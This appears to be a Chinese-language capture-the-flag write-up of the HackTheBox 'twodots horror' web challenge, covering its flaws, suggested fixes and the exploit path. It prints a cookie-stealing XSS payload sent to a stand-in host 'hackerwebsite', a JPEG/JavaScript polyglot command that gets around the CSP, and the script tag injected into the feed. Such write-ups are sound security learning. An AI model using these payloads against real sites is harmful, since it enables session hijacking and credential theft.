HTB twodots horror

目標說明

hackthebox上的web靶機,名稱為twodots horror,情境是留言版上傳大頭照

安全風險

此目標發現4個安全風險

  1. 代碼中的{{ post.content|safe }}不會執行html轉義,可在feed頁面執行js
  2. 未使用httponly,導致cookie能被拿走
  3. 代碼中使用的puppeteer瀏覽器可執行圖片內的JS
  4. 圖片檢查機制無法發現含JS的圖片上傳

保護機制

  • 使用CSP(內容安全政策)限制,只能執行同域名的JS,並禁止其他域名的任何資源
  • 重要頁面限制127.0.0.1存取
  • 使用image-size和is-jpg檢查上傳圖片

安全優化建議 

  • 排查所有不會執行html轉義的地方並修復
  • 加上httponly
  • 代碼中使用無法執行圖片xss的瀏覽器
  • 圖片上傳功能增加檢查內容過濾xss

攻擊手法

分析代碼發現在feed頁面提交內容後會帶cookie,而flag在cookie中,所以要想辦法取得cookie內容

準備攻擊圖片

雖然在feed提交的內容不會做html轉義,但由於csp限制,所以還是無法在feed頁面提以下xss將cookie拿走

<script>window.location.href="https://hackerwebsite/cookie?"+document.cookie;</script>

所以要用polyglot的技巧將以下片段插入圖片中

window.location.href="https://hackerwebsite/cookie?"+document.cookie;

這邊要注意的是圖片必須確保開頭的位元為jpeg的tag 0xFF 0xD8 0xFF,否則無法通過isjpg的檢查。並且確保圖片至少要大於120*120,否則無法通過image-size的檢查,因為以下代碼會做檢查

if (!isJpg(file.data)) return reject(new Error("Please upload a valid JPEG image!"));
const dimensions = sizeOf(file.data);
if(!(dimensions.width &gt;= 120 &amp;&amp; dimensions.height &gt;= 120)) {
      return reject(new Error("Image size must be at least 120x120!"));
}

讀取攻擊圖片XSS

先註冊一個test帳戶後登入,然後上傳攻擊圖片,雖然會看到圖像己損壞但不影響其功能

由於feed頁面的提交功能不會對內容做html轉義,所以可以提交js讓目標執行。由於攻擊圖片在api/avatar/test,因此js讀取該位置就可以饒過CSP的保護機制。

另外還要在js後面加2個點來避開代碼的過濾機制。由於使用polyglot因此建議字符集指定 ISO-8859-1。最後要在feed頁面提交的JS如下

<script charset="ISO-8859-1" src="/api/avatar/test"></script>..

提交後,網站自己會執行攻擊圖片Js內容,將cookie送到https://hackerwebsite/cookie?

接著只要到hackerwebsite主機查看flag內容即可


補充說明

CSP

在代碼中可以發現CSP防御機制如下

res.setHeader("Content-Security-Policy", "default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;")

default-src ‘self’; 只信任當前域名,所以攻擊腳本的來源是自己的網站,才能避開這個限制

object-src ‘none’; 不信任其他來源的object,不加載任何資源

polyglot

構建多語言javascript/JPEG,可將xss放在圖片內,並讓瀏覽器執行圖片內的js,不過大部份主流瀏覽器己修復這個問題

使用img_polygloter.py工具可以實做此手法,範例如下

python img_polygloter.py jpg --height 120 --width 120 --payload 'window.location.href="https://hackerwebsite/cookie?"+document.cookie;' --output jpegxss.jpg

img_polygloter.py工具可以在此下載
https://github.com/s-3ntinel/imgjs_polygloter

原理可參考
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
https://www.cnblogs.com/ssooking/articles/6144556.html

nunjucks 

在nunjucks中,如果使用safe選項時,不會對內容進行html轉義,完整說明可以參考 https://nunjucks.bootcss.com/templating.html

在目標的代碼中可以發現 post.content|safe,這表示feed頁面提交的內容不會對content內容進行轉義

<div class="main-area">
    {% for post in feed %}
    <div class="nes-container is-post with-title">
        <p class="title"><span class="title1">{{ post.author }}</span><span class="title1">{{ post.created_at }}</span></p>
        <p>{{ post.content|safe }}</p>
    </div>
    <button class="nes-btn is-primary">Approve</button> <button class="nes-btn is-error">Delete</button><br />
    <br />
    {% endfor %}
</div>